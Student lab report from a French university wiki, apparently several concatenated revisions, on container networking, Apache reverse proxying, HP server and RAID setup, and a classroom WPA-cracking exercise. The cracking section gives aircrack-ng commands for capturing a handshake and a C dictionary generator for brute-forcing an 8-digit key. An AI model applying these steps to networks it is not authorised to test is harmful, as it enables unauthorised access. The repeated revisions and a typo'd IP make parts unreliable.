root@zabeth04:/home/pifou# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e4a821cf3a3 b7f9916f224e "/bin/bash" 18 minutes ago Up 18 minutes confident_leakey
c5ec790866ae b7f9916f224e "/bin/bash" 19 minutes ago Up 19 minutes objective_golick
b287061163af b7f9916f224e "/bin/bash" 22 minutes ago Up 22 minutes 0.0.0.0:80->80/tcp objective_bhabha
8ee36885e7fb registry:2 "/entrypoint.sh /etc…" 5 weeks ago Up 38 minutes 0.0.0.0:5000->5000/tcp registry

===Configuration de apache2 :===
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique
Puis dans <code>/etc/apache2/sites-available/</code> :

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX
XX

Le SAS est un HP StorageWorks MSA60.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :

nano /etc/network/interfaces

Pour l'interface eth0 :

address 127.26.145.146/24
gateway 192.26.145.253

Ensuite, nous avons configuré les DNS :

nano /etc/resolv.conf

domain polytech-lille.org
search deule.net
nameserver 192.48.57.48
nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech :

nano ~/.profile

export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

==Mise en route du DAS==
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

==Installation des outils HP==
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt :

nano /etc/apt/sources.list

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés :

curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :

nano /etc/apt/sources.list

deb http://deb.devuan.org/merged ascii main
deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources :

apt-get update

Installer curl :

apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP :

apt-get install hp-health ssacli

=Séance 4 : TP PRA (Suite)=
Dans un premier temps, nous commençons par remplacer les disques défectueux.
Grâce à la commande

ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux :

ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques :

ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B :

array B add drives=1E:1:6

Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :

show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.

controller slot=4 array B delete

ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :

array B show

ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :

ctrl slot=4 show config

[[fichier:Reconstruction raid.jpg|center|600px]]

=Séance 5 : Mise en place du serveur DNS et crack WPA2=

==Mise en place du serveur DNS==

==Crack de réseau Wifi WPA==
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

[[fichier:Ifconfig.png|center]]

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :

ifconfig wlp3s0 down

On place la carte en "monitor mode"

airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

[[fichier:Airmonng.png|center]]

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :

airodump-ng mon0

[[fichier:Airodump.png|center]]

De ce scan, nous tirons plusieurs informations :
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.
-Nous notons son BSSID : 04:DA:D2:9C:50:53
-Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0

[[fichier:Handshake2.png|center]]

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :

#include <stdio.h>

int main() {
for(int i=0;i<=99999999;i++) {
printf("%08d\n",i);
}
}

gcc -o dico dico.c
./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer :

aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

[[fichier:Keyfound.png|center]]

L'image ci dessus nous montre enfin la clé WPA de cracotte04.
Ce processus nous fait réaliser que la méthode de brute-force est très peu efficace (7h de traitement sur les zabeth), un mot de passe avec des caractères spéciaux, chiffres, majuscules, minuscules et beaucoup de caractères sera donc impossible à casser avec cette méthode.

==Utilisation de partitions virtuelles==

Dans cette partie nous allons mettre en place des partitions virtuelles dans notre machine, ces partitions étant hébergées sur cordouan.

On commence par créer les partitions sur cordouan :

lvcreate -L10G -n aphrodite-home virtual
lvcreate -L10G -n aphrodite-var virtual

lvcreate -L10G -n aphrodite-part1 virtual
lvcreate -L10G -n aphrodite-part2 virtual
lvcreate -L10G -n aphrodite-part3 virtual

On ajoute ces partitions dans /etc/xen/aphrodite.cfg :

disk = [
'file:/usr/local/xen/domains/Aphrodite/disk.img,xvda2,w',
'file:/usr/local/xen/domains/Aphrodite/swap.img,xvda1,w',
'phy:/dev/virtual/aphrodite-home,xvdb1,w',
'phy:/dev/virtual/aphrodite-var,xvdc1,w'
'phy:/dev/virtual/aphrodite-part1,xvdd1,w'
'phy:/dev/virtual/aphrodite-part2,xvdd1,w'
'phy:/dev/virtual/aphrodite-part3,xvdd1,w'
]

Les deux premières partitions serviront à var et home, et les trois suivantes serviront à créer un raid logiciel.

===Var et Home===

===RAID===

TP sysres IMA5sc 2018/2019 G9

2018-12-11T14:47:15Z

Tcattela : /* Séance 5 : Mise en place du serveur DNS et crack WPA2 */

TP sysres IMA5sc 2018/2019 G9

2018-12-11T14:31:46Z

Tcattela : /* Crack de réseau Wifi WPA */

Fichier:Handshake2.png

2018-12-11T14:29:37Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-12-10T23:13:12Z

Tcattela : /* Crack de réseau Wifi WPA */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container avec unshare==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

ip link add interne type bridge

===Ajout de vif4 à bridge===
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge

ip link set vif4 master bridge

===Ajout de vif1, vif2, vif3 à interne===

ip link set vif1 master interne
ip link set vif2 master interne
ip link set vif3 master interne

===Activation de toutes les interfaces===

ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set bridge up
ip link set interne up

===Attribution des adresses ip===

On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :

nsenter -t <PID1> -n ip address add dev eth0 192.168.4.1/24

nsenter -t <PID2> -n ip address add dev eth0 192.168.4.2/24

nsenter -t <PID3> -n ip address add dev eth0 192.168.4.3/24

On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :

nsenter -t <PID1> -n ip address add dev eth1 172.26.145.234/24

===Activation des interfaces sur les containers>===
Sur chaque containers, lancer :

ip link set dev eth0 up
ip link set dev lo up

Ainsi que sur le container 1 :

ip link set dev eth1 up

Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :

bridge : eth0 eth1 vif4

interne : vif1 vif2 vif3

Et donc :
root@zabeth04:/home/pifou# brctl show
bridge name bridge id STP enabled interfaces
br-d8330a30a134 8000.0242b8ae38c5 no
bridge 8000.00224d7aeaa1 no eth0
eth1
vif4
docker0 8000.0242ad165937 no veth0b1f71b
interne 8000.3ee68d5b1e14 no vif1
vif2
vif3

=Séance 2 : TP ASR (suite)=
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.

==Attribution des noms de domaine==

Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.

Onglet Domaines, on choisit le domaine plil.space.

Onglet DNS Records, on ajoute un DNS type A :

Nom : tham2
IP : 172.26.145.234

Puis on ajoute deux DNS type Cname :

Nom : tham1 & tham3
Nom d'hote : tham2

De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space

==Configuration d'apache2==

===Fichier conf===
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :

<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)

===Activation des modules proxy et proxy_http===

a2enmod proxy
a2enmod proxy_http

===Activation du site===

a2ensite 000-default.conf

Tout est maintenant configuré, on peut donc rebooter apache :

service apache2 restart

===Création d'une page web===

Dans les containers 2 et 3 on créé une simple page web et on reboot apache :

Container 2 :

cat 1 /var/www/html/index.html
service apache2 restart

Container 3 :

cat 3 /var/www/html/index.html
service apache2 restart

===Visualisation de la page web===

On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :

tham1.plil.space/index.html

firefox affiche 1

tham3.plil.space/index.html

firefox affiche 3

==Création d'un conteneur avec Docker :==
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.

===Création d'une première image :===
Nous avons créé un premier container à l'aide la commande :
docker run -i -t debian /bin/bash
Exporte de la variable d'environement hhtp_proxy :
export http_proxy=http://proxy.polytech-lille.fr:3128/
Instalation d'un éditeur de texte et d'un serveur web :
apt-get install nano vi apache2

===Création de trois conteneurs dans un même réseau :===
Avec un <code>docker ps</code> nous avons recupérer l'id du conteneur puis :
docker commit -m "debian" 367f5e8adddf
Création d'un réseau :
docker network create tham
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine :
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -i -t b7f9916f224e /bin/bash
docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash
Et donc :
root@zabeth04:/home/pifou# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
8e4a821cf3a3 b7f9916f224e "/bin/bash" 18 minutes ago Up 18 minutes confident_leakey
c5ec790866ae b7f9916f224e "/bin/bash" 19 minutes ago Up 19 minutes objective_golick
b287061163af b7f9916f224e "/bin/bash" 22 minutes ago Up 22 minutes 0.0.0.0:80->80/tcp objective_bhabha
8ee36885e7fb registry:2 "/entrypoint.sh /etc…" 5 weeks ago Up 38 minutes 0.0.0.0:5000->5000/tcp registry

===Configuration de apache2 :===
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique
Puis dans <code>/etc/apache2/sites-available/</code> :

root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf
<VirtualHost *:80>
ServerName tham1.plil.space
ServerAdmin webmaster@tham1.plil.space
DocumentRoot /var/www/html/tham1/

ProxyPass / http://192.168.4.2/
ProxyPassReverse / http://192.168.4.2/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
ServerName tham3.plil.space
ServerAdmin webmaster@tham3.plil.space
DocumentRoot /var/www/html/tham3/

ProxyPass / http://192.168.4.3/
ProxyPassReverse / http://192.168.4.3/
ProxyRequests Off

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.

11h10 => Serveurs Web OK (unshare)

12h20 => Serveurs Web OK (docker)

=Séance 3 : TP PRA=
Le sujet choisi ici est le sujet n°10 : HP + DAS -> Baie.
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.

==Le matériel==
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :

XX
XX

Le SAS est un HP StorageWorks MSA60.
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.

Sur le panneau arrière nous constatons qu'il y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)

==Mise en route du serveur==
Lors de la mise en route du serveur, nous constations trois problèmes :
-Les ventilateurs tournent à 100% sans arrêt.
-La LED internal health clignote rouge.
-Un bip long est émis périodiquement.

De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.

Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.

Une fois remonté, le serveur bootait correctement.

==Installation de Devuan==
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.

Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.

Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).

==Configurations réseau==
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.

Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :

nano /etc/network/interfaces

Pour l'interface eth0 :

address 127.26.145.146/24
gateway 192.26.145.253

Ensuite, nous avons configuré les DNS :

nano /etc/resolv.conf

domain polytech-lille.org
search deule.net
nameserver 192.48.57.48
nameserver 193.48.57.33

Et enfin nous avons ajouté le proxy polytech :

nano ~/.profile

export http_proxy=http://proxy.polytech-lille.fr:3128

Une fois fait, notre serveur avait accès au réseau de polytech.

==Mise en route du DAS==
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.

IMAGE

Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.

Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.

De retour sur devuan, la grappe est visible via lsblk.

==Installation des outils HP==
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.

L'installation se fait via les étapes suivantes :

Ajout du dépôt :

nano /etc/apt/sources.list

deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free
deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free

Ajout des clés :

curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -
curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -

Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :

nano /etc/apt/sources.list

deb http://deb.devuan.org/merged ascii main
deb-src http://deb.devuan.org/merged ascii main

Rafraîchir les sources :

apt-get update

Installer curl :

apt-get install curl

Réessayer d'ajouter les clés.

Une fois fait, on eut procéder à l'installation des outils HP :

apt-get install hp-health ssacli

=Séance 4 : TP PRA (Suite)=
Dans un premier temps, nous commençons par remplacer les disques défectueux.
Grâce à la commande

ssacli ctrl all show config detail

nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).

Nous procédons au remplacement par des disques neufs.

Une fois fait, nous ajoutons le disque 6 qui était manquant.

Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.

On entre dans le programme ssacli et on fait un premier était des lieux :

ctrl all show config

Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.

On liste ensuite les disques physiques :

ctrl slot 4 pd all show

Notre disque a ajouter est le 1E:1:6

On l'ajoute alors a la grappe B :

array B add drives=1E:1:6

Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :

show

IMAGE

Etant donné que nous n'avons pas de données perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.

controller slot=4 array B delete

ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5

La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :

array B show

ctrl slot=4 show config

De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.

Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :

ctrl slot=4 show config

[[fichier:Reconstruction raid.jpg|center|600px]]

=Séance 5 : Mise en place du serveur DNS et crack WPA2=

==Mise en place du serveur DNS==

==Crack de réseau Wifi WPA==
Afin d'expérimenter le crack d'une clé WPA, nous allons travailler sur les points wifi cracotte avec la suite logicielle aircrack-ng.

Dans un premier temps, nous faisons un ifconfig pour connaitre le nom de la carte wifi :

[[fichier:Ifconfig.png|center]]

Dans notre cas elle s'appelle wlp3s0.

On commence par déconnecter la carte de tous les réseaux afin d'optimiser la vitesse des operations suivantes :

ifconfig wlp3s0 down

On place la carte en "monitor mode"

airmon-ng start wlp3s0

On peut vérifier que l'interface est bien en monitor mode avec airmon-ng

[[fichier:Airmonng.png|center]]

Une fois fait, on scanne les réseaux wifi a portée afin de connaitre les paramètres de notre cible :

airodump-ng mon0

[[fichier:Airodump.png|center]]

De ce scan, nous tirons plusieurs informations :
-Les cracottes sont disponibles, nous nous concentrons sur cracotte04.
-Nous notons son BSSID : 04:DA:D2:9C:50:53
-Son channel : 9

Nous avons maintenant toutes les infos nécessaires pour récupérer le handshake avec aerodump :

airodump-ng -c 9 --bssid 04:DA:D2:9C:50:53 -w /home/thibault/wpa/ mon0

[[fichier:Airodump.png|center]]

Après quelque instants nous pouvons voir que le handshake est récupéré. A partir de cet instant nous n'avons plus à interagir avec le réseau, tout ce qu'il nous faut est contenu dans le fichier *.cap généré par airodump.

La dernière étape avant de lancer la procédure de brute-force est la génération du dictionnaire.

Pour cet exercice, nous savons que le mot de passe est composé de exactement 8 chiffres. Un programme très simple réalisé en C permet de générer toutes les combinaisons :

#include <stdio.h>

int main() {
for(int i=0;i<=99999999;i++) {
printf("%08d\n",i);
}
}

gcc -o dico dico.c
./dico > dico.txt

On remarque que le dictionnaire pèse déjà 900mo malgré le fait que nous avons déjà des informations nous permettant de limiter les possibilités.

Le brute-force peut maintenant commencer :

aircrack-ng /home/thibault/wpa/-07.cap -w /home/thibault/wpa/dico.txt

Une première estimation du pire temps nous indique 7h de traitement. Finalement après quelque heures, la solution est trouvée :

[[fichier:Keyfound.png|center]]

L'image ci dessus nous montre enfin la clé WPA de cracotte04.

Fichier:Keyfound.png

2018-12-10T23:10:48Z

Tcattela :

Fichier:Airodump.png

2018-12-10T23:03:19Z

Tcattela :

Fichier:Airmonng.png

2018-12-10T23:00:39Z

Tcattela :

Fichier:Ifconfig.png

2018-12-10T22:58:25Z

Tcattela :

TP sysres IMA5sc 2018/2019 G9

2018-12-10T22:56:09Z

Tcattela : /* Crack de réseau Wifi WPA */

=Séance 1 : TP ASR=
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.

==Création d'un container avec unshare==

===Création de l'image disque===
dd if=/dev/zero of=disc1.img bs=1024K count=10240

===Mise en place du file system===
mkfs disc1.img

===Création du point de montage et montage de l'image===
mkdir /tmp/rootfs1
mount -o loop disc1.img /tmp/rootfs1

===Installation du debian dans le point de montage===
Afin de pouvoir installer debian, il faut que la machine accède à internet :

export http_proxy=http://proxy.polytech-lille.fr:3128/

debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :

debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1

===Simplification de l'accès===
echo "proc /proc proc defaults 0 0" >> /tmp/rootfs1/etc/fstab

===Clonage des images===
L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :

umount /tmp/rootfs1

On copie l'image :

cp disc1.img disc2.img
cp disc1.img disc3.img

On monte les 3 images :

mount -o loop disc1.img /tmp/rootfs1
mount -o loop disc2.img /tmp/rootfs2
mount -o loop disc3.img /tmp/rootfs3

===Lancement des trois containers===
unshare nous permet de lancer les trois images précédemment montées :

unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c "mount /proc ; /bin/bash"

Les trois containers sont maintenant lancés, nous pouvons travailler dessus.

==Mise en place du réseau==

Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.

===Création de 4 interfaces virtuelles===

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

===Connexion de chaque interface à une interface eth0 sur les containers===

ip link set eth0@vif1 netns /proc/<pid1>/ns/net name eth0
ip link set eth0@vif2 netns /proc/<pid2>/ns/net name eth0
ip link set eth0@vif3 netns /proc/<pid3>/ns/net name eth0

pid1, pid2, pid3 peuvent être déterminés via la commande :
ps aux | grep unshare

===Connexion à eth1 sur le premier container===

ip link set eth1@vif1 netns /proc/<pid1>/ns/net name eth1

===Création d'un bridge===

